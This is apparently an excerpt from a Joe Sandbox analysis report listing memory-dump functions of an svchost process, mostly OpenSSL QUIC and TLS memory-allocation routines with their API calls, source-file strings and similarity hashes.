Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: CriticalInitializeO_zallocSection
String ID: crypto\thread\arch\thread_win.c
API String ID: 3172406216-2915021490
Opcode ID: 55c8b90a7566c8f3e0aefc499b230187a0ef79df52c9709b3d3d54b890a3517c
Instruction ID: 59b603731083eacf8b058663e080beae72f7a50082dc3c8aec9588c279ae543d
Opcode Fuzzy Hash: 55c8b90a7566c8f3e0aefc499b230187a0ef79df52c9709b3d3d54b890a3517c
Instruction Fuzzy Hash: 96E086E1E4721382ED169736E8516B81660DF54745F48C034CD1D07361FE2CF5969700

Function 00007FFBAB4127F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,00007FFBAB412526), ref: 00007FFBAB41280A
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB412526), ref: 00007FFBAB412820

Strings

crypto\thread\arch\thread_win.c, xrefs: 00007FFBAB412813

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: CriticalDeleteO_freeSection
String ID: crypto\thread\arch\thread_win.c
API String ID: 3175850418-2915021490
Opcode ID: 2ac0e5579664708379d0deb40121636555b8a02c42a100e7b550d23506ca5284
Instruction ID: 8700781ecc6583a1a863d33fe3553064403c787684559e10658fedc021d5934b
Opcode Fuzzy Hash: 2ac0e5579664708379d0deb40121636555b8a02c42a100e7b550d23506ca5284
Instruction Fuzzy Hash: F1E08CE5F0B60285FF129BB2E8913382220AF48B85F04C531DD1D833A2CF2C90448301

Function 64946F50 Relevance: 4.5, APIs: 3, Instructions: 43timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAdjustment.KERNEL32 ref: 64946F72
_errno.MSVCRT ref: 64946F95
QueryPerformanceFrequency.KERNEL32 ref: 64946FB5

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: AdjustmentFrequencyPerformanceQuerySystemTime_errno
String ID:
API String ID: 931094001-0
Opcode ID: 9c9b8dc8953adad8b182c48c2c5c1b28200ee0171dd9cfc96682e4bc88c00d4e
Instruction ID: 19e011e90420178d8d56a0d731f9381e34ba0287a3f741502673f42520627ade
Opcode Fuzzy Hash: 9c9b8dc8953adad8b182c48c2c5c1b28200ee0171dd9cfc96682e4bc88c00d4e
Instruction Fuzzy Hash: 2E01F7B2690B4196FB05CF31D81035AB3A4FB85B58F04A155DA9A8A394FB3DC956CB20

Function 00007FFBAB46A1D0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

CRYPTO_realloc.LIBCRYPTO-3-X64 ref: 00007FFBAB46A3D3

Strings

ssl\quic\quic_txp.c, xrefs: 00007FFBAB46A3C3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_realloc
String ID: ssl\quic\quic_txp.c
API String ID: 3931833713-3700743932
Opcode ID: 3a9f533066588ae01ffe6f7c752876e93640bc5ae2fa97fe630ced6ad063d1b3
Instruction ID: 25924289449a00a73b8657d07c064558f681244041b9240f560ee13f853b78d5
Opcode Fuzzy Hash: 3a9f533066588ae01ffe6f7c752876e93640bc5ae2fa97fe630ced6ad063d1b3
Instruction Fuzzy Hash: 1E61BEB2A0ABD18AD3518F39E8503A977A0F704B48F048239EF6D47759CF39D9A5E700

Function 00007FFBAB45CFF0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

CRYPTO_realloc.LIBCRYPTO-3-X64(?,00000031,?,00007FFBAB45CC96,00000000,?,00000000,?,?,00000000,00000000,00007FFBAB45C5FE,?,?,00000000), ref: 00007FFBAB45D0AB

Strings

ssl\quic\quic_record_rx.c, xrefs: 00007FFBAB45D0A1

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_realloc
String ID: ssl\quic\quic_record_rx.c
API String ID: 3931833713-3047069087
Opcode ID: 8dfeef587841a2842ec8d2d83fc4e3ee92f45fde34ad19d3e0c8842bd999a5a3
Instruction ID: e97e0efa6f9b3ceaf49118e135189525c14c6f8c258f104bac3b7ee16e94c389
Opcode Fuzzy Hash: 8dfeef587841a2842ec8d2d83fc4e3ee92f45fde34ad19d3e0c8842bd999a5a3
Instruction Fuzzy Hash: 8E5105B2606F4585EB658F29E440B2873A4FB08F98F248635DE6D47B64DF39D8A2C310

Function 00007FFBAB482930 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

CRYPTO_realloc.LIBCRYPTO-3-X64(?,00000000,?,00007FFBAB466088,?,00007FFBAB44F4D2,?,00007FFBAB450F40), ref: 00007FFBAB482A51

Strings

ssl\statem\extensions_cust.c, xrefs: 00007FFBAB482A4A

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_realloc
String ID: ssl\statem\extensions_cust.c
API String ID: 3931833713-1564674317
Opcode ID: 7101a2e13ea020165fa1c196afcf608869ea0189fd230748d22ea18b9225f158
Instruction ID: 234b64e1bc435fa55b6687e5f7a4336b6180fd0613f6e6dd74adbbea103bac3d
Opcode Fuzzy Hash: 7101a2e13ea020165fa1c196afcf608869ea0189fd230748d22ea18b9225f158
Instruction Fuzzy Hash: A14192B2B0AB8582E6668B69D480229B7E0FF58B94F54C231DEAD437B4DF39D491C740

Function 00007FFBAB481C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

CRYPTO_realloc.LIBCRYPTO-3-X64(?,00000000,?,00007FFBAB431EBC,?,?,?,00007FFBAB4310C3,00000004,00007FFBAB4314E5), ref: 00007FFBAB481D61

Strings

ssl\statem\extensions_cust.c, xrefs: 00007FFBAB481D57

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_realloc
String ID: ssl\statem\extensions_cust.c
API String ID: 3931833713-1564674317
Opcode ID: f93c4a65a06351fae531afe635b86c9a61260678098dafe52465267355e0f59a
Instruction ID: fa8e0fbe851e54320b3ef92cc70f07376ed623b6321e08ae3e083be0ec9a33d5
Opcode Fuzzy Hash: f93c4a65a06351fae531afe635b86c9a61260678098dafe52465267355e0f59a
Instruction Fuzzy Hash: F231C4B2B0A78285EA658F6AE44017DA7E1FB4CB90F548536DE6C437B0DE3DE8429340

Function 00007FFBAB46EB20 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB44B13A,?,00007FFBAB44A99E), ref: 00007FFBAB46EBE6

Strings

ssl\quic\uint_set.c, xrefs: 00007FFBAB46EBD0

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free
String ID: ssl\quic\uint_set.c
API String ID: 2581946324-544055092
Opcode ID: 037bcce4723b1bd283e8492134f75402ea85b534f365039734be5e050b1f4636
Instruction ID: 4b12231cfdeb9f76c23056c0ab27ad9e78c98d1a9bcf3b137ddb5208644e4845
Opcode Fuzzy Hash: 037bcce4723b1bd283e8492134f75402ea85b534f365039734be5e050b1f4636
Instruction Fuzzy Hash: F9412C72A4AB4585DB55DF25E09022873A4FB54F84F58C436EF6D47B68EF39E8A1C300

Function 00007FFBAB46A940 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB468BFF,?,?,00000004,?,?,00000004,00007FFBAB467831,?,?,?,?,?,?,00007FFBAB44F81E), ref: 00007FFBAB46A96F

Strings

ssl\quic\quic_txpim.c, xrefs: 00007FFBAB46A968

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_zalloc
String ID: ssl\quic\quic_txpim.c
API String ID: 1208671065-1264249673
Opcode ID: 7e93a71aea8a2c2b35f7c551a6759c251e52e404f019f45e104fe35a0f7229e8
Instruction ID: 357f1f2ebba8ae2a87ee6ffa921b138acce6cf5691da6ced48aac76e1247596a
Opcode Fuzzy Hash: 7e93a71aea8a2c2b35f7c551a6759c251e52e404f019f45e104fe35a0f7229e8
Instruction Fuzzy Hash: 303119B2905F8181DB89CB25E5503A873E4FB59B84F18D23ADA9C87B65EF34D4E88300

Function 00007FFBAB46AA70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

CRYPTO_realloc.LIBCRYPTO-3-X64(00000000,00007FFBAB469F3B,00000000,?,?,00000004,?,?,00007FFBAB467BE8), ref: 00007FFBAB46AAFC

Strings

ssl\quic\quic_txpim.c, xrefs: 00007FFBAB46AAE8

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_realloc
String ID: ssl\quic\quic_txpim.c
API String ID: 3931833713-1264249673
Opcode ID: 865b6b66c0943add7dbc75e16454b2973e0d6fc8ac80a5cdc8e8ebd697424297
Instruction ID: 893e17df98a5f519bce31fb7b31160f9f00bfbb860868f7f4c1db708d5c26153
Opcode Fuzzy Hash: 865b6b66c0943add7dbc75e16454b2973e0d6fc8ac80a5cdc8e8ebd697424297
Instruction Fuzzy Hash: FF218EA2F0ABC585EB418F29E5443A86360E758FC8F488536EF5D4776ADF38D5858300

Function 00007FFBAB468160 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

CRYPTO_memdup.LIBCRYPTO-3-X64(?,00007FFBAB44F46F,00000080,00007FFBAB450C3B,?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB4681CA

Strings

ssl\quic\quic_txp.c, xrefs: 00007FFBAB4681BA

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_memdup
String ID: ssl\quic\quic_txp.c
API String ID: 560317026-3700743932
Opcode ID: 5977bce0403a57f406f9bd1910c36523d19abcec362bab4b4b39ad297bab6391
Instruction ID: d6f574b583230bf1bf8d5868df2eff0df861c2f8841e320b305e0ba13205a9d5
Opcode Fuzzy Hash: 5977bce0403a57f406f9bd1910c36523d19abcec362bab4b4b39ad297bab6391
Instruction Fuzzy Hash: 2611B672A09B8186E761CF21E5403AA77A0F748BC8F088535EF9D07B6ADF38E1918740

Function 00007FFBAB45C0D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB45BB2D,?,00007FFBAB44B9F5), ref: 00007FFBAB45C14B

Strings

ssl\quic\quic_record_rx.c, xrefs: 00007FFBAB45C137

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free
String ID: ssl\quic\quic_record_rx.c
API String ID: 2581946324-3047069087
Opcode ID: 41632703163fc184e1f730a83c7857f976f6e126df1b16ed371dbc01d2122129
Instruction ID: a1c5d3b14a5f19e254bebd0405c691be52979fd30b0d551c986c2a2a7007c589
Opcode Fuzzy Hash: 41632703163fc184e1f730a83c7857f976f6e126df1b16ed371dbc01d2122129
Instruction Fuzzy Hash: D21100A2A0AF4181EE568B29D58063C63A5FB14FC8B24D535DE5C4B765EF3AD892C700

Function 00007FFBAB446BB0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64(?,00007FFBAB447C34,?,00000000,?,?,02000100,00007FFBAB44C1EB,02000100,00007FFBAB44E4DA,?,00007FFBAB450F14), ref: 00007FFBAB446BFF

Strings

ssl\quic\json_enc.c, xrefs: 00007FFBAB446BD6

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_malloc
String ID: ssl\quic\json_enc.c
API String ID: 1457121658-3790216822
Opcode ID: 520227716b19b7dedfebe6dff8fe468833264c619a161b17cb4a50cfbe25309b
Instruction ID: e1743a65d8c585d0017632561b4d33f5ef608408f1ffb6fb255e8843d2c5bef8
Opcode Fuzzy Hash: 520227716b19b7dedfebe6dff8fe468833264c619a161b17cb4a50cfbe25309b
Instruction Fuzzy Hash: 3601C863D197C086E351CF28E44036D77A0EB68B8CF14E225EA8C03266EE76D5D2C300

Function 00007FFBAB452470 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB452494

Strings

ssl\quic\quic_engine.c, xrefs: 00007FFBAB45248D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_zalloc
String ID: ssl\quic\quic_engine.c
API String ID: 1208671065-2291346005
Opcode ID: 648922d4ab1a19cc7422fba9d9f8158589d3270c5c315cc5acd99e9f39ede53f
Instruction ID: dba02775f54882a8cf5299c5e4e2dff32f208d1c679dc78223ba056994f97a95
Opcode Fuzzy Hash: 648922d4ab1a19cc7422fba9d9f8158589d3270c5c315cc5acd99e9f39ede53f
Instruction Fuzzy Hash: 55015EB2706F0692DB518F26E58155C73B4FB48B84B448136DF6C07B65EF38D5A4C740

Function 00007FFBAB468850 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CRYPTO_realloc.LIBCRYPTO-3-X64(?,00007FFBAB468693,?,?,?,?,?,00000000,?,00007FFBAB467B71), ref: 00007FFBAB4688A1

Strings

ssl\quic\quic_txp.c, xrefs: 00007FFBAB46888D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_realloc
String ID: ssl\quic\quic_txp.c
API String ID: 3931833713-3700743932
Opcode ID: 849aa596da2d9341a8a3c9e018e8c8689d0f91284e5937e868cf13a724cc43ee
Instruction ID: 2df4fc2490f2acbe50d5a1e8bc0f31abe325ceb078873319b6eb726df6ce5e41
Opcode Fuzzy Hash: 849aa596da2d9341a8a3c9e018e8c8689d0f91284e5937e868cf13a724cc43ee
Instruction Fuzzy Hash: EFF0A4E2F2674183FF558721E5413682795EB54BC4F485436DE1C17795EF3CE5A28340

Function 00007FFBAB45E810 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB44C37E), ref: 00007FFBAB45E83C

Strings

ssl\quic\quic_record_tx.c, xrefs: 00007FFBAB45E835

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_zalloc
String ID: ssl\quic\quic_record_tx.c
API String ID: 1208671065-2432027203
Opcode ID: 48fc964fdf2c482615722f575e498f88e6913eb733bb01eb8e9e0a0df0d1b7b3
Instruction ID: be613c0e56327eb716bf3e855b916a2dbda64149b8b54ff86d64a6cd4f62876f
Opcode Fuzzy Hash: 48fc964fdf2c482615722f575e498f88e6913eb733bb01eb8e9e0a0df0d1b7b3
Instruction Fuzzy Hash: 15014BB2605B4082DB15CB61E4912B833A8F7C8F54F198530DF5C83360CF38C991C250

Function 00007FFBAB411BE0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB411C13

Strings

crypto\packet.c, xrefs: 00007FFBAB411C07

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_zalloc
String ID: crypto\packet.c
API String ID: 1208671065-224687097
Opcode ID: 8f41ab5865570030e3ac35ecdd65f32c6f2111179410054ca95cff8d0d691fc0
Instruction ID: 3069940e240e30ab6d21028399bba9d0b06e689e1ca1940253cc8688846445bb
Opcode Fuzzy Hash: 8f41ab5865570030e3ac35ecdd65f32c6f2111179410054ca95cff8d0d691fc0
Instruction Fuzzy Hash: 28F0BEB2E07B0181EB158B69E48536822A0EB08B58F648034DE1C473A1EF3ED8E2C380

Function 00007FFBAB46E6D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64(?,00007FFBAB46E9BD,?,00007FFBAB46366B,?,?,00000000,?,00007FFBAB45A1A0,00000000,?,?,00007FFBAB459D9A,?,?), ref: 00007FFBAB46E6F6

Strings

ssl\quic\uint_set.c, xrefs: 00007FFBAB46E6ED

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_malloc
String ID: ssl\quic\uint_set.c
API String ID: 1457121658-544055092
Opcode ID: 1028996d009d5b2bba73af1a1b7a81eba610b63073fd91789b5daefa09d3f7b8
Instruction ID: ff8bd2f8c8e72d1e1508724a757cce3b8ed87cf1e03c8161ad5700de8f6c1f33
Opcode Fuzzy Hash: 1028996d009d5b2bba73af1a1b7a81eba610b63073fd91789b5daefa09d3f7b8
Instruction Fuzzy Hash: AEF0EC62F65B4181EA468B21F18015C7750EFDCBC0F499131EE6C03755EE7CD9D48700

Function 00007FFBAB43C2C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB43C2FE

Strings

ssl\t1_lib.c, xrefs: 00007FFBAB43C2F1

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free
String ID: ssl\t1_lib.c
API String ID: 2581946324-1168734446
Opcode ID: b91348d09161cf71eaa999de320089278ad6071c5f35364df30b264030731374
Instruction ID: f6b8ee6e500e18ff7e540b73b2896ac1a65ebf2b0e01a331d38019dd19f5ea7f
Opcode Fuzzy Hash: b91348d09161cf71eaa999de320089278ad6071c5f35364df30b264030731374
Instruction Fuzzy Hash: CFE06DE6F4F61385FE66D67AC4952781250AF49B88F188431DC2E876A3ED1DE4428701

